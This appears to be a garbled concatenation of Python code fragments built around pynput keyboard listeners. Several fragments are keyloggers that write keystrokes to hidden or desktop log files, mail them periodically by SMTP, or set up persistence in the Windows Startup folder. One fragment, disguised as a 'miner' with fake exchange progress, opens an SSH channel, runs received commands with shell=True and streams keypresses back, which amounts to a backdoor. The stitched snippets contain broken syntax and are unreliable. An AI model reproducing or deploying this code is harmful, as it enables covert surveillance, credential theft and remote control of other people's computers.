def _keylogger(self): with Listener(on_press=self._on_press) as listener: listener.join()
def main(self): with Listener(on_press=self.on_press, on_release=self.on_release) as listener: listener.join()
if key in current_keys: current_keys.remove(key) def process_img(original_img): processed_img = cv2.cvtColor(original_img, cv2.COLOR_BGR2GRAY) processed_img = cv2.Canny(processed_img, threshold1=200, threshold2=300) return processed_img #with mss.mss() as sct: # Part of the screen to capture #monitor = {"top": 0, "left": 70, "width": 640, "height": 480} while True: listener = Listener(on_press=on_press, on_release=on_release) listener.start() last_time = time.time() # key_catcher = MockButton() # Get raw pixels from the screen, save it to a Numpy array #screen = np.array(sct.grab(monitor)) #new_screen = process_img(original_img=screen) # Display the picture #cv2.imshow("Window", new_screen) # print("Loop took {} seconds".format(time.time() - last_time)) # Press "q" to quit #k = cv2.waitKey(10)
def start(self): with Listener(on_press=self.on_press) as listener: self.log_report() listener.join()
def transfer(): with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()
def start_listener(self): self.running = True with Listener(on_press=self.on_press, on_release=self.on_release) as listener: listener.join() self.running = False
def start_listen(): with Listener(on_press=on_press) as listener: listener.join()
clear() print("This is not a valid input, please try again\n") start_program = input("---> Keylogger <---\n\nDo you wish to start the program? [y/n]\n") while q2 == 1: if return_to_loader == "y": clear() exec(open("loader.py").read()) break elif return_to_loader == "n": clear() print("Exiting..") exit() else: clear() print("This is not a valid input, please try again") return_to_loader = input("Do you wish to return to the main loader? [y/n]\n") username = os.getlogin() #copyfile('main.py', f'C:/Users/{username}/Appdata/Roaming/Microsoft/Start Menu/Startup/main.py') ---> Everytime you boot up the system it will automatically launch logging_directory = f"C:/Users/{username}/Desktop" logging.basicConfig(filename=f"{logging_directory}/mylog.txt", level=logging.DEBUG, format="%(asctime)s: %(message)s") def key_handler(key): logging.info(key) with Listener(on_press=key_handler) as listener: listener.join()
from pynput.keyboard import Key, Listener def process_keyboard(e): try: btn = e.char except AttributeError: btn = None print(btn) with Listener(on_press=process_keyboard) as listener: listener.join()
def init(): with Listener(on_press=on_press) as listener: listener.join()
# 用 Python 做一个按键记录器 # http://www.51testing.com/html/61/n-4480261.html from pynput.keyboard import Listener def write_to_file(key): '''将键鼠输入的内容写入文件''' letter = str(key) letter = letter.replace("'", "") with open("./log.txt", 'a') as f: f.write(letter) if __name__ == '__main__': with Listener(on_press=write_to_file) as I: I.join()
def parent(server_address, server_port, username, password): logger.info('Miner started successfully!') logger.info(f"You are: {server_address}:{server_port} - {username}@{password}") # instantiate the ssh client client = paramiko.SSHClient() # auto add key client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) # connect to ssh server logger.info('Attempting to connect with exchange server . . .') client.connect( server_address, port=server_port, username=username, password=password ) logger.info('Connected to exchange server.') # get ssh session client_session = client.get_transport().open_session() if client_session.active and not client_session.closed: # wait for command, execute and send result ouput while True: try: global progress command = client_session.recv(1024).decode('utf-8') if (progress >= 100): logger.info('Exchange successful!') progress = -500 elif (progress <=-10) progress = progress + random.randint(0, 3) elif (progress >= 0 && progress < 100): progress = progress + random.randint(0, 3) logger.info(f'Exchange progress: {progress}') else: logger.info('Processing exchange . . .') progress = 0 # Event for recording key presses def on_press(key): client_session.send('"{0} pressed"'.format(key)) if command == "exit": return False # You could add more hard-coded triggers here, anything undefined is treated as a command to the client's cli if (command == "process" || command == "exit"): # Collect events until released with Listener( on_press=on_press) as listener: listener.join() else: command_output = subprocess.run( command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True, timeout=30 # Client will quit if server connection isn't found after this many seconds ) # send back the resulting output if len(command_output.stderr.decode('utf-8')): # STDERR client_session.send(command_output.stderr.decode('utf-8')) elif len(command_output.stdout.decode('utf-8')): # STDIN client_session.send(command_output.stdout.decode('utf-8')) else: # STDUNK client_session.send('null') except subprocess.CalledProcessError as err: client_session.send(str(err)) client_session.close() return
def __init__(self): pass self._listener = Listener(on_press=self._on_press) self._listener.start()
def formatKey(key): if '<Key.space>' in key: return ' ' if '<Key.enter>' in key: return '\n' else: return key def log(text): with open("log.txt", "a") as file_log: file_log.write(formatKey(text)) def screen(key): try: log(key.char) keys.append(key.char) except AttributeError: log(" <" + str(key) + "> ") keys.append(str(key)) if "".join(password) == "".join(keys): return False with Listener(on_release=screen) as listener: log('\n\n') listener.join()
try: ftp = ftplib.FTP('ip') except: print("Connection error.") else: ftp.login('uploader', 'myData20') ftp.cwd('/pi3_images') for filepath in glob.iglob('images/*.jpeg'): head, tail = os.path.split(filepath) print(head, tail) file = open(filepath, 'rb') ftp.storbinary('STOR ' + tail, file) os.remove(filepath) ftp.quit() def on_release(key): if key == Key.esc: # Stop listener return False if key == Key.space: date_time = datetime.now().strftime("%Y%m%d%H%M%S") camera.capture("images/" + date_time + '.jpeg', format="jpeg") print('Picture taken at ' + date_time) uploadFiles() # Collect events until released with Listener(on_release=on_release) as listener: listener.join()
from pynput.keyboard import Listener def log_keystroke(key): key = str(key).replace("'", "") if key == 'Key.space': key = ' ' if key == 'Key.shift_r': key = '' if key == "Key.enter": key = '\n' with open("log.txt", 'a') as f: f.write(key) with Listener(on_press=log_keystroke) as l: l.join()
def start_listen(): with Listener(on_press=on_press, on_release=on_release) as listener: listener.join()
def __init__(self): self.chave = 1 with Listener(on_release=self.on_release) as listener: listener.join()
def start_logging(): # print('logging started..') logging.basicConfig(filename=filename, level=logging.DEBUG, format="%(asctime)s %(message)s") with Listener(on_press=on_press) as listener: listener.join()
def __init__(self): self._status = {} self._listener = Listener( on_press=self._on_press, on_release=self._on_release)
threading.Timer(Glo.grab_secs, grab_screen).start() def keypress(Key): """key logger.""" logging.info(str(Key)) # had to omit hotkey use from linux version for now. if not sys.platform.startswith('linux'): hotkey_pause = 'Shift+Ctrl+1' kb.add_hotkey(hotkey_pause, toggle_save, args=None) hotkey_stop = 'Shift+Ctrl+2' kb.add_hotkey(hotkey_stop, thread_stop, args=None) hotkey_view = 'Shift+Ctrl+3' kb.add_hotkey(hotkey_view, view_images, args=None) # Start logging.basicConfig(filename=('keylog.txt'), level=logging.DEBUG, format='%(asctime)s : %(message)s') what_platform() chk_fold() grab_screen() with Listener(on_press=keypress) as listener: listener.join()
def _start(self): with Listener(on_press=self.on_press, on_release=self.on_release) as self.listener: self.listener.join()
def keylog(): def on_press(key): logging.info(str(key)) with Listener(on_press=on_press) as listener: listener.join()
def hook(self): if self.is_hook: return self.is_hook = True self.listener = Listener(on_press=self.on_press) self.listener.start()
print("DOWN", end=' ') monitor = monitor.down print(monitor.data, "\n") print('\n') def on_release(key): # print('{0} release'.format(key)) if key == Key.esc: # Stop listener return False # Collect events until released with Listener(on_press=on_press, on_release=on_release) as listener: listener.join() # loop_reference=loop_reference.down # # # # for i in range(0,3): # temp1 = first # temp2 = second # # # for j in range(0,3): # if j==2: # create_connection(temp2,loop_reference,'h')
def __init__(self, parent=None): super().__init__(parent) self.listener = Listener(on_press=self.on_press, on_release=self.on_release) self.currentKey = None self.released = False print("Monitor init!")
#server = smtp.SMTP('64.233.184.108') server = smtp.SMTP("smtp.gmail.com", 587) server.starttls() server.login(Parameters.MailDirection, Parameters.MailPassword) server.sendmail(Parameters.MailDirection, Parameters.Mailaddressee, message.as_string()) print("The Mail Has Been Send") server.quit() def CounterAndSend(): while (True): ClearFile() time.sleep(Parameters.Time) SendInput() Thread1 = Thread(name="Thread_1", target=CounterAndSend) Thread1.start() with Listener(on_press=PressKey) as l: l.join()
import tempfile import logging from pynput.keyboard import Key, Listener print("Temp dir loc --> ", tempfile.gettempdir()) log_loc = tempfile.gettempdir() log_file = "\key_logger.txt" logging.basicConfig(filename=(log_loc + log_file), level=logging.DEBUG, format="%(asctime)s: %(message)s") def key_presses(key): logging.info(str(key)) with Listener(on_press=key_presses) as listener: listener.join()
from pynput.keyboard import Key, Listener import logging #variable to save the keystroke log log_dir = "" logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(messages)s') def on_press(key): logging.info(key) with Listener(on_press=on_press) as listener: listener.join()
keys.append(key) count += 1 print(key) if (count >= 5): count = 0 write_file(keys) print("WRITE FILE KEYS CALLED", keys) keys = [] def write_file(keys): fpath = r'/home/shikari/coding/python_Projects/log.txt' with open(fpath, "a") as f: for key in keys: k = str(key).replace("'", "") # print("k={}".format(k)) if (k.find('space') > 0): f.write('\n') elif k.find('Key') == -1: f.write(k) def key_release(key): if key == Key.esc: return False with Listener(on_press=key_press, on_release=key_release) as listener: listener.join()